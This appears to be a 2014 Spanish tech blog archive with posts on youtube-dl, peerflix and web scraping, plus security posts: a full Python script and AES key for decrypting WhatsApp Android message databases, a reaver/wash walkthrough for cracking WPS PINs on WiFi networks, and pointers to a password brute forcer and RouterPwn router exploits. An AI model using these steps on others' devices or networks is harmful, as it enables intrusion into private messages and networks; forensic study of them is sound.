lunes, 28 de abril de 2014

DESCARGAR VIDEOS CON YOUTUBE-DL

 DESCARGA DE VIDEOS DE YOUTUBE-DL

Youtube-dl es un pequeño programa realizado en python que funciona desde el terminal y que permite descargar videos flash de yotube y otros site similares. (Requiere python 2.6,2.7 ó 3.3+).

Instrucciones de instalación probado en debian Whezy.

sudo curl https://yt-dl.org/downloads/2014.04.21.6/youtube-dl -o /usr/local/bin/youtube-dl
sudo chmod a+x /usr/local/bin/youtube-dl


Funcionamiento:

Tecleamos en el terminal el nombre del programa con con el link de la web que queremos descargar, en este caso un capitulo de mazinger Z en youtube.
 
youtube-dl https://www.youtube.com/watch?v=xs1pcAKTpHw



Web oficial: http://rg3.github.io/youtube-dl/download.html

martes, 22 de abril de 2014

INFORMATICA FORENSE WHATSAPP ANDROID


 LA INSEGURIDAD DE WHATSAPP ANDROID

Estos del Whatsapp son la ostia. Con los últimos cambios para dotar a la base de datos de mayor "seguridad" (/sdcard/WhatsApp/Databases/msgstore.db.crypt). Han agregado para encriptar el fichero la cadena del email del usuario. Si antes se descifraba con un comando de ssl:                                                                                                                                  
openssl enc -d -aes-192-ecb -in msgstore-1.db.crypt -out msgstore.db.sqlite -K 346a23652a46392b4d73257c67317e352e3372482177652c. 

Ahora se hace con un script en python liberado por
Alejandro Ramos (@aramosf). Teniendo la base de datos cifrada y el usuario de Gmail utilizado en el dispositivo Android se puede obtener las conversaciones descifradas y listas.
python pwncrypt5.py msgstore.db.crypt5 grbnz0@gmail.com > msgstore.sdb 

___________________________________________________________________________________
Codigo del script de python:
___________________________________________________________________________________
#!/usr/bin/python             
"""
48bits presents:
8===============================================D~~~
WhatsApp msgstore crypt5 decryptor by grbnz0 and nullsub
8===============================================D~~~

"""
                                                                                                                                                                                  
import sys
import hashlib
import StringIO
from M2Crypto import EVP

key = bytearray([141, 75, 21, 92, 201, 255, 129, 229, 203, 246, 250,
   120, 25, 54, 106, 62, 198, 33, 166, 86, 65, 108, 215, 147])
iv = bytearray([0x1E,0x39,0xF3,0x69,0xE9,0xD,0xB3,0x3A,0xA7,0x3B,0x44,
   0x2B,0xBB,0xB6,0xB0,0xB9])

def decrypt(db,acc):
  fh = file(db,'rb')
  edb = fh.read()
  fh.close()
  m = hashlib.md5()
  m.update(acc)
  md5 = bytearray(m.digest())
  for i in xrange(24): key[i] ^= md5[i&0xF]
  cipher = EVP.Cipher('aes_192_cbc', key=key, iv=iv, op=0)
  sys.stdout.write(cipher.update(edb))
  sys.stdout.write(cipher.final())

if __name__ == '__main__':
  if len(sys.argv) != 3:
    print 'usage %s <db> <accountname> > decrypted.db' % sys.argv[0]
  else:
    decrypt(sys.argv[1],sys.argv[2])

_____________________________________________________________________________________________________________________

No solo se tiene acceso a las bases de datos sin ningún problema si no que al usar SQLITE, se pueden recuperar cualquier dato borrado de la base de datos.

Info obtenida de: http://www.securitybydefault.com/2014/03/descifrando-msgstoredbcrypt5-la-nueva.html
Script python: https://github.com/aramosf/pwncrypt5/blob/master/pwncrypt5.py


lunes, 21 de abril de 2014

PEERFLIX & TORRENT-VIDEO-PLAYER

INSTALAR PEERFLIX y TORRENT-VIDEO-PlAYER.
KALILINUX (DEBIAN WHEEZY).



PEERFLIX:
Este pograma es experimental.
Nos permite visualizar .torrents de series, películas por streaming, sin necesidad de descargar el contenido en disco.  El programa PEERFLIX es lanzado desde terminal  y junto el el fichero extensión .torrent nos permite ver videos por vlc en streaming. También tenemos TORRENT-VIDEO-PLAYER que nos permite hacer lo mismo pero desde el mismo navegador.

apocanow@portatil:~$ apt-get install git-core curl build-essential openssl libssl-dev                       
apocanow@portatil:~$ git clone https://github.com/joyent/node.git                                                                                     
apocanow@portatil:~$cd node

apocanow@portatil:~/node# ./configure
apocanow@portatil:~/node# make
apocanow@portatil:~/node# make install



Instalamos peerflix:

apocanow@portatil:~/npm install -g peerflix
Ya lo tenemos, funcionamiento:
apocanow@portatil:~/peerflix nombredefichero.torrent

Con esto finaliza la parte de uso de peerflix.
Ya podemos lanzar los metadatos de cualquier fichero .torrent y
visualizarlo desde VLC.
Solo faltaria lanzar el VLC que como nos indica el terminal hay que teclear la direccion http://x.x.x.x:8888 dentro del mismo VLC para poder ver el video deseado.



Torrent-Video-player
Este nos permite hacer lo mismo que el anterior. Pero lanza el .torrent desde el mismo navegador, para poderlo visualizar con nuestro reproductor.

wget http://pinguyos.com/files/Torrent-Video-Player
chmod +x Torrent-Video-Player
sudo mv Torrent-Video-Player /usr/bin

En Firefox, busca un torrent descargalo y ábrelo. Cuando Firefox pregunte que debería hacer con el archivo, selecciona Otros, en el menú desplegable junto a la opción Abrir con y navega por tus archivos a la ruta /usr/bin/Torrent-Video-Player. Si todo funciona correctamente abrira VLC cargando el video.

jueves, 27 de marzo de 2014

WEB SCRAPING CON BEAUTIFULSOUP.

Programación en python y parseo de XML. 


Tutorial de como hacer web-scraping. 

- El web scraping es una técnica utilizada en programación, que permite extraer información de sitios web en formato (html,Xml) de forma automática. Para posteriormente visualizar a nuestro antojo ó manipular generar consultas etc. Esta técnica la usan por ejemplo los programas para lectura de RSS, Webspiders. Es útil también para hacernos nuestros propios scrtipts automatizados y retroalimentar nuestros ficheros de configuración. 



Web oficial:
http://thehackerway.com/2014/03/25/hacking-con-python-parte-8-web-scraping-con-beautifulsoup/

sábado, 22 de marzo de 2014

DESKTOP BRUTE FORCER

Desktop Brute Forcer (DeBF) 


Permite usar diccionarios para vailidarnos en cualquier aplicación ó fichero que solicite passwords. 
Se puede parametrizar y usar para: Juegos, Pdfs, txt, zip, excel. 

En el caso de Zip: 
$${ENTER}{ENTER}##100## 
La aplicación escribe la palabra por tí desde un diccionario preestablecido, presiona enter para comprobarla, presiona enter para cerrar el mensaje de error, espera 100 milisegundos antes de escribir la siguiente palabra. 



Web oficial aquí:https://github.com/nodoraiz/DesktopBruteForcing 
Aplicación compilada requiere .net: http://www.nodoraiz.com/git/DeBF.zip

ROUTERPWN

ROUTERPWN:

Es una aplicación web diseñada para explotar vulnerabilidad en rotures, puntos de acceso inalámbrico y switches generalmente utilizados en hogares o pequeñas empresas.


CARACTERÍSTICAS

Te permite ejecutar exploits web locales y remotos
Todo lo necesario esta en una sola página, lo cual permite realizar explotaciones offline.
(solo tenemos que copiarla y guardarla en cualquier directorio y ya la podemos tener a mano Offline).
Hecho con HTML/Javascript funciona en dispositivos móviles que tengan un navegador.
Cada exploit contiene un enlace con mayor información sobre él.

UTILIZACIÓN

Esta tan simple como escoger un exploit y hacer clic en el.
Se puede obtetener más información de cada exploit haciendo click a "+"




* Info de la web oficial.

Web oficial:  http://www.routerpwn.com

REAVER WASH Y WPSCRACKGUI

WASH REAVER Y WPSCRACKGUI:

Existe en fallo de seguridad que afecta a los rotures que tienen WPS activado.
El fallo permite aprovechar programas como reaver para poder explotar el fallo
y obtener el PIN para podernos conectar a la wifi.
Este fallo afecta tanto a WPA como a WPA2.

Esto ocurre cuando tenemos activado el WPS (Wifi protect Setup) .
Esta función se activa por defecto en un numero alto de rotuers.
Y contempla 4 tipos de configuraciones diferentes (PIN, PBC, NFC USB)

En la que PIN es la que sufre la vulnerabilidad. Y si esta activada proporciona al atacante la posibilidad de conectarse a nuestra wifi averiguando el PIN con herramientas tipo reaver.


Los pasos a realizar son:
Poner la wifi en modo monitor en Debian por ejemplo sería:

airmon-ng start wlan0


Como se puede apreciar ta tenemos una nueva interface llamada mon0.










Ahora podemos listar las wifi al alcance que tengan el WPS activado con wash.
wash -i mon0


Si en la columna WPS Locked nos da  yes algún PA,  es que tiene activado el WPS.
Y como comentaba anteriormente es vulnerable y usando reaver se puede entrar en esa red.



















Finalmente el ataque con reaver quedaría así.
reaver -i mon0 -b "macaddress"  -vv


Disponemos de un frontend para hacer esto mismo en . modo gráfico:
 Wpscrackgui:

Dispone de:

- Crackeo cifrado de WPS
- Base de datos con PINS
- Escaneo de redes.




Web oficial reaver: https://code.google.com/p/reaver-wps/
Web oficial wpscrackgui: http://sourceforge.net/projects/wpscrackgui/